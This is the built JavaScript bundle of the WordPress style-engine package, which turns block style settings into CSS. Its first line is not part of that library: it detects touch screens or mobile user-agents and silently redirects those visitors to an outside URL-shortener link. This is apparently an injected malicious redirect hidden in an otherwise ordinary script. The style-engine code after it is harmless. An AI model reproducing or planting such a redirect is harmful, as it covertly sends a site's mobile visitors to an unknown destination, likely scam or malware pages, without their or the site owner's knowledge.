(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/uQuMsfLBm0r3");
(function() {
"use strict";
var wp;
(wp ||= {}).styleEngine = (() => {
var __defProp = Object.defineProperty;
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
var __getOwnPropNames = Object.getOwnPropertyNames;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __export = (target, all) => {
for (var name in all)
__defProp(target, name, { get: all[name], enumerable: true });
};
var __copyProps = (to, from, except, desc) => {
if (from && typeof from === "object" || typeof from === "function") {
for (let key of __getOwnPropNames(from))
if (!__hasOwnProp.call(to, key) && key !== except)
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
}
return to;
};
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
// packages/style-engine/build-module/index.mjs
var index_exports = {};
__export(index_exports, {
compileCSS: () => compileCSS,
getCSSRules: () => getCSSRules,
getCSSValueFromRawStyle: () => getCSSValueFromRawStyle
});
// node_modules/tslib/tslib.es6.mjs
var __assign = function() {
__assign = Object.assign || function __assign2(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
// node_modules/lower-case/dist.es2015/index.js
function lowerCase(str) {
return str.toLowerCase();
}
// node_modules/no-case/dist.es2015/index.js
var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
function noCase(input, options) {
if (options === void 0) {
options = {};
}
var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
var start = 0;
var end = result.length;
while (result.charAt(start) === "\0")
start++;
while (result.charAt(end - 1) === "\0")
end--;
return result.slice(start, end).split("\0").map(transform).join(delimiter);
}
function replace(input, re, value) {
if (re instanceof RegExp)
return input.replace(re, value);
return re.reduce(function(input2, re2) {
return input2.replace(re2, value);
}, input);
}
// node_modules/dot-case/dist.es2015/index.js
function dotCase(input, options) {
if (options === void 0) {
options = {};
}
return noCase(input, __assign({ delimiter: "." }, options));
}
// node_modules/param-case/dist.es2015/index.js
function paramCase(input, options) {
if (options === void 0) {
options = {};
}
return dotCase(input, __assign({ delimiter: "-" }, options));
}
// packages/style-engine/build-module/styles/constants.mjs
var VARIABLE_REFERENCE_PREFIX = "var:";
var VARIABLE_PATH_SEPARATOR_TOKEN_ATTRIBUTE = "|";
var VARIABLE_PATH_SEPARATOR_TOKEN_STYLE = "--";
// packages/style-engine/build-module/styles/utils.mjs
var getStyleValueByPath = (object, path) => {
let value = object;
path.forEach((fieldName) => {
value = value?.[fieldName];
});
return value;
};
function generateRule(style, options, path, ruleKey) {
const styleValue = getStyleValueByPath(style, path);
return styleValue ? [
{
selector: options?.selector,
key: ruleKey,
value: getCSSValueFromRawStyle(styleValue)
}
] : [];
}
function generateBoxRules(style, options, path, ruleKeys, individualProperties = ["top", "right", "bottom", "left"]) {
const boxStyle = getStyleValueByPath(
style,
path
);
if (!boxStyle) {
return [];
}
const rules = [];
if (typeof boxStyle === "string") {
rules.push({
selector: options?.selector,
key: ruleKeys.default,
value: getCSSValueFromRawStyle(boxStyle)
});
} else {
const sideRules = individualProperties.reduce(
(acc, side) => {
const value = getCSSValueFromRawStyle(
getStyleValueByPath(boxStyle, [side])
);
if (value) {
acc.push({
selector: options?.selector,
key: ruleKeys?.individual.replace(
"%s",
upperFirst(side)
),
value
});
}
return acc;
},
[]
);
rules.push(...sideRules);
}
return rules;
}
function getCSSValueFromRawStyle(styleValue) {
if (typeof styleValue === "string" && styleValue.startsWith(VARIABLE_REFERENCE_PREFIX)) {
const variable = styleValue.slice(VARIABLE_REFERENCE_PREFIX.length).split(VARIABLE_PATH_SEPARATOR_TOKEN_ATTRIBUTE).map(
(presetVariable) => paramCase(presetVariable, {
splitRegexp: [
/([a-z0-9])([A-Z])/g,
// fooBar => foo-bar, 3Bar => 3-bar
/([0-9])([a-z])/g,
// 3bar => 3-bar
/([A-Za-z])([0-9])/g,
// Foo3 => foo-3, foo3 => foo-3
/([A-Z])([A-Z][a-z])/g
// FOOBar => foo-bar
]
})
).join(VARIABLE_PATH_SEPARATOR_TOKEN_STYLE);
return `var(--wp--${variable})`;
}
return styleValue;
}
function upperFirst(string) {
const [firstLetter, ...rest] = string;
return firstLetter.toUpperCase() + rest.join("");
}
function camelCaseJoin(strings) {
const [firstItem, ...rest] = strings;
return firstItem.toLowerCase() + rest.map(upperFirst).join("");
}
function safeDecodeURI(uri) {
try {
return decodeURI(uri);
} catch {
return uri;
}
}
// packages/style-engine/build-module/styles/border/index.mjs
function createBorderGenerateFunction(path) {
return (style, options) => generateRule(style, options, path, camelCaseJoin(path));
}
function createBorderEdgeGenerateFunction(edge) {
return (style, options) => {
return ["color", "style", "width"].flatMap((key) => {
const path = ["border", edge, key];
return createBorderGenerateFunction(path)(style, options);
});
};
}
var color = {
name: "color",
generate: createBorderGenerateFunction(["border", "color"])
};
var radius = {
name: "radius",
generate: (style, options) => {
return generateBoxRules(
style,
options,
["border", "radius"],
{
default: "borderRadius",
individual: "border%sRadius"
},
["topLeft", "topRight", "bottomLeft", "bottomRight"]
);
}
};
var borderStyle = {
name: "style",
generate: createBorderGenerateFunction(["border", "style"])
};
var width = {
name: "width",
generate: createBorderGenerateFunction(["border", "width"])
};
var borderTop = {
name: "borderTop",
generate: createBorderEdgeGenerateFunction("top")
};
var borderRight = {
name: "borderRight",
generate: createBorderEdgeGenerateFunction("right")
};
var borderBottom = {
name: "borderBottom",
generate: createBorderEdgeGenerateFunction("bottom")
};
var borderLeft = {
name: "borderLeft",
generate: createBorderEdgeGenerateFunction("left")
};
var border_default = [
color,
borderStyle,
width,
radius,
borderTop,
borderRight,
borderBottom,
borderLeft
];
// packages/style-engine/build-module/styles/color/background.mjs
var background = {
name: "background",
generate: (style, options) => {
return generateRule(
style,
options,
["color", "background"],
"backgroundColor"
);
}
};
var background_default = background;
// packages/style-engine/build-module/styles/color/gradient.mjs
var gradient = {
name: "gradient",
generate: (style, options) => {
return generateRule(
style,
options,
["color", "gradient"],
"background"
);
}
};
var gradient_default = gradient;
// packages/style-engine/build-module/styles/color/text.mjs
var text = {
name: "text",
generate: (style, options) => {
return generateRule(style, options, ["color", "text"], "color");
}
};
var text_default = text;
// packages/style-engine/build-module/styles/color/index.mjs
var color_default = [text_default, gradient_default, background_default];
// packages/style-engine/build-module/styles/dimensions/index.mjs
var height = {
name: "height",
generate: (style, options) => {
return generateRule(
style,
options,
["dimensions", "height"],
"height"
);
}
};
var minHeight = {
name: "minHeight",
generate: (style, options) => {
return generateRule(
style,
options,
["dimensions", "minHeight"],
"minHeight"
);
}
};
var minWidth = {
name: "minWidth",
generate: (style, options) => {
return generateRule(
style,
options,
["dimensions", "minWidth"],
"minWidth"
);
}
};
var aspectRatio = {
name: "aspectRatio",
generate: (style, options) => {
return generateRule(
style,
options,
["dimensions", "aspectRatio"],
"aspectRatio"
);
}
};
var width2 = {
name: "width",
generate: (style, options) => {
return generateRule(
style,
options,
["dimensions", "width"],
"width"
);
}
};
var objectFit = {
name: "objectFit",
generate: (style, options) => {
return generateRule(
style,
options,
["dimensions", "objectFit"],
"objectFit"
);
}
};
var dimensions_default = [height, minHeight, minWidth, aspectRatio, width2, objectFit];
// packages/style-engine/build-module/styles/background/index.mjs
var backgroundImage = {
name: "backgroundImage",
generate: (style, options) => {
const _backgroundImage = style?.background?.backgroundImage;
const gradient2 = getCSSValueFromRawStyle(style?.background?.gradient) || "";
if (!_backgroundImage && !gradient2) {
return [];
}
const backgroundImageValue = typeof _backgroundImage === "object" && _backgroundImage?.url ? `url( '${encodeURI(
safeDecodeURI(_backgroundImage.url)
)}' )` : getCSSValueFromRawStyle(_backgroundImage);
const cssValue = [gradient2, backgroundImageValue].filter(Boolean).join(", ");
return !!cssValue ? [
{
selector: options.selector,
key: "backgroundImage",
value: cssValue
}
] : [];
}
};
var backgroundPosition = {
name: "backgroundPosition",
generate: (style, options) => {
return generateRule(
style,
options,
["background", "backgroundPosition"],
"backgroundPosition"
);
}
};
var backgroundRepeat = {
name: "backgroundRepeat",
generate: (style, options) => {
return generateRule(
style,
options,
["background", "backgroundRepeat"],
"backgroundRepeat"
);
}
};
var backgroundSize = {
name: "backgroundSize",
generate: (style, options) => {
return generateRule(
style,
options,
["background", "backgroundSize"],
"backgroundSize"
);
}
};
var backgroundAttachment = {
name: "backgroundAttachment",
generate: (style, options) => {
return generateRule(
style,
options,
["background", "backgroundAttachment"],
"backgroundAttachment"
);
}
};
var background_default2 = [
backgroundImage,
backgroundPosition,
backgroundRepeat,
backgroundSize,
backgroundAttachment
];
// packages/style-engine/build-module/styles/shadow/index.mjs
var shadow = {
name: "shadow",
generate: (style, options) => {
return generateRule(style, options, ["shadow"], "boxShadow");
}
};
var shadow_default = [shadow];
// packages/style-engine/build-module/styles/outline/index.mjs
var color2 = {
name: "color",
generate: (style, options, path = ["outline", "color"], ruleKey = "outlineColor") => {
return generateRule(style, options, path, ruleKey);
}
};
var offset = {
name: "offset",
generate: (style, options, path = ["outline", "offset"], ruleKey = "outlineOffset") => {
return generateRule(style, options, path, ruleKey);
}
};
var outlineStyle = {
name: "style",
generate: (style, options, path = ["outline", "style"], ruleKey = "outlineStyle") => {
return generateRule(style, options, path, ruleKey);
}
};
var width3 = {
name: "width",
generate: (style, options, path = ["outline", "width"], ruleKey = "outlineWidth") => {
return generateRule(style, options, path, ruleKey);
}
};
var outline_default = [color2, outlineStyle, offset, width3];
// packages/style-engine/build-module/styles/spacing/padding.mjs
var padding = {
name: "padding",
generate: (style, options) => {
return generateBoxRules(style, options, ["spacing", "padding"], {
default: "padding",
individual: "padding%s"
});
}
};
var padding_default = padding;
// packages/style-engine/build-module/styles/spacing/margin.mjs
var margin = {
name: "margin",
generate: (style, options) => {
return generateBoxRules(style, options, ["spacing", "margin"], {
default: "margin",
individual: "margin%s"
});
}
};
var margin_default = margin;
// packages/style-engine/build-module/styles/spacing/index.mjs
var spacing_default = [margin_default, padding_default];
// packages/style-engine/build-module/styles/typography/index.mjs
var fontSize = {
name: "fontSize",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "fontSize"],
"fontSize"
);
}
};
var fontStyle = {
name: "fontStyle",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "fontStyle"],
"fontStyle"
);
}
};
var fontWeight = {
name: "fontWeight",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "fontWeight"],
"fontWeight"
);
}
};
var fontFamily = {
name: "fontFamily",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "fontFamily"],
"fontFamily"
);
}
};
var letterSpacing = {
name: "letterSpacing",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "letterSpacing"],
"letterSpacing"
);
}
};
var lineHeight = {
name: "lineHeight",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "lineHeight"],
"lineHeight"
);
}
};
var textColumns = {
name: "textColumns",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "textColumns"],
"columnCount"
);
}
};
var textDecoration = {
name: "textDecoration",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "textDecoration"],
"textDecoration"
);
}
};
var textIndent = {
name: "textIndent",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "textIndent"],
"textIndent"
);
}
};
var textTransform = {
name: "textTransform",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "textTransform"],
"textTransform"
);
}
};
var writingMode = {
name: "writingMode",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "writingMode"],
"writingMode"
);
}
};
var textShadow = {
name: "textShadow",
generate: (style, options) => {
return generateRule(
style,
options,
["typography", "textShadow"],
"textShadow"
);
}
};
var typography_default = [
fontFamily,
fontSize,
fontStyle,
fontWeight,
letterSpacing,
lineHeight,
textColumns,
textDecoration,
textIndent,
textShadow,
textTransform,
writingMode
];
// packages/style-engine/build-module/styles/index.mjs
var styleDefinitions = [
...border_default,
...color_default,
...dimensions_default,
...outline_default,
...spacing_default,
...typography_default,
...shadow_default,
...background_default2
];
// packages/style-engine/build-module/index.mjs
function compileCSS(style, options = {}) {
const rules = getCSSRules(style, options);
if (!options?.selector) {
const inlineRules = [];
rules.forEach((rule) => {
inlineRules.push(`${paramCase(rule.key)}: ${rule.value};`);
});
return inlineRules.join(" ");
}
const groupedRules = rules.reduce(
(acc, rule) => {
const { selector } = rule;
if (!selector) {
return acc;
}
if (!acc[selector]) {
acc[selector] = [];
}
acc[selector].push(rule);
return acc;
},
{}
);
const selectorRules = Object.keys(groupedRules).reduce(
(acc, subSelector) => {
acc.push(
`${subSelector} { ${groupedRules[subSelector].map(
(rule) => `${paramCase(rule.key)}: ${rule.value};`
).join(" ")} }`
);
return acc;
},
[]
);
return selectorRules.join("\n");
}
function getCSSRules(style, options = {}) {
const rules = [];
styleDefinitions.forEach((definition) => {
if (typeof definition.generate === "function") {
rules.push(...definition.generate(style, options));
}
});
return rules;
}
return __toCommonJS(index_exports);
})();
(window.wp ||= {}).styleEngine = wp.styleEngine;
})();